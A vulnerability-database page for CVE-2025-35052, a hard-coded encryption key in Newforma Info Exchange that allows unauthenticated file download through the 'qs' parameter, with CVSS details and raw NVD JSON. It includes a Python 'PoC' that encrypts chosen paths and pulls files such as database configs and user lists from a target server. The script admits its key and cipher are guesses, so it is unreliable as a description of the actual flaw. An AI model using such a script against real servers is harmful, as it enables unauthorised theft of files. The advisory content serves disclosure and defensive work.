Security Vulnerability Report
中文
CVE-2025-35052 CVSS 5.3 MEDIUM

CVE-2025-35052

Published: 2025-10-09 21:15:36
Last Modified: 2025-10-22 15:56:26
Source: 9119a7d8-5eab-497f-8521-727c672e3725

Description

Newforma Info Exchange (NIX) uses a hard-coded key to encrypt certain query parameters. Some encrypted parameter values can specify paths to download files, potentially bypassing authentication and authorization, for example, the 'qs' parameter used in '/DownloadWeb/download.aspx'. This key is shared across NIX installations. NIX 2023.3 and 2024.1 limit the use of hard-coded keys.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:newforma:project_center:*:*:*:*:*:*:*:* - VULNERABLE
Newforma Info Exchange (NIX) 2023.3
Newforma Info Exchange (NIX) 2024.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-35052 PoC - Newforma Info Exchange Hard-coded Key Authentication Bypass # Exploit: Unauthorized file download via hard-coded encryption key in 'qs' parameter import requests from urllib.parse import quote # Target NIX server TARGET_URL = "https://target-nix-server/DownloadWeb/download.aspx" # Hard-coded key extracted from NIX application (placeholder - actual key would be reverse-engineered) HARDCODED_KEY = b'NIX_HARDCODED_KEY_HERE' def encrypt_param(plaintext, key): """ Encrypt the query parameter using the hard-coded key. The actual encryption algorithm (e.g., AES, DES, 3DES) and mode would need to be determined through reverse engineering. """ # Example using AES-CBC (actual implementation may differ) from Crypto.Cipher import AES from Crypto.Util.Padding import pad import base64 import os iv = b'\x00' * 16 # IV may be static or derived cipher = AES.new(key, AES.MODE_CBC, iv) padded = pad(plaintext.encode(), AES.block_size) encrypted = cipher.encrypt(padded) return base64.b64encode(encrypted).decode() def exploit_file_download(target_file_path): """ Exploit the hard-coded key vulnerability to download unauthorized files. """ # Step 1: Construct the file path parameter qs_plaintext = target_file_path # e.g., "\\\\\\\\files\\\\sensitive_document.pdf" # Step 2: Encrypt the parameter using the hard-coded key qs_encrypted = encrypt_param(qs_plaintext, HARDCODED_KEY) # Step 3: Send the request with the encrypted parameter params = {"qs": qs_encrypted} response = requests.get(TARGET_URL, params=params, verify=False) # Step 4: Check response if response.status_code == 200: print(f"[+] Successfully downloaded file: {target_file_path}") print(f"[+] Content-Length: {len(response.content)}") return response.content else: print(f"[-] Failed to download file. Status code: {response.status_code}") return None # Example usage if __name__ == "__main__": # Target sensitive file paths to download target_files = [ "config/database.xml", "uploads/project_data.zip", "admin/users.xml" ] for file_path in target_files: print(f"\n[*] Attempting to download: {file_path}") content = exploit_file_download(file_path) if content: # Save the downloaded file filename = file_path.replace("/", "_").replace("\\\\", "_") with open(f"downloaded_{filename}", "wb") as f: f.write(content) print(f"[+] File saved as: downloaded_{filename}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-35052", "sourceIdentifier": "9119a7d8-5eab-497f-8521-727c672e3725", "published": "2025-10-09T21:15:36.040", "lastModified": "2025-10-22T15:56:25.910", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Newforma Info Exchange (NIX) uses a hard-coded key to encrypt certain query parameters. Some encrypted parameter values can specify paths to download files, potentially bypassing authentication and authorization, for example, the 'qs' parameter used in '/DownloadWeb/download.aspx'. This key is shared across NIX installations. NIX 2023.3 and 2024.1 limit the use of hard-coded keys."}], "metrics": {"cvssMetricV40": [{"source": "9119a7d8-5eab-497f-8521-727c672e3725", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "9119a7d8-5eab-497f-8521-727c672e3725", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "9119a7d8-5eab-497f-8521-727c672e3725", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-321"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:newforma:project_center:*:*:*:*:*:*:*:*", "versionEndIncluding": "2024.3", "matchCriteriaId": "71630A80-6292-4C7B-A5C9-8C6877EE229E"}]}]}], "references": [{"url": "https://raw.githubusercontent.com/cisagov/CSAF/develop/csaf_files/IT/white/2025/va-25-282-01.json", "source": "9119a7d8-5eab-497f-8521-727c672e3725", "tags": ["Third Party Advisory"]}, {"url": "https://www.cve.org/CVERecord?id=CVE-2025-35052", "source": "9119a7d8-5eab-497f-8521-727c672e3725", "tags": ["Third Party Advisory"]}]}}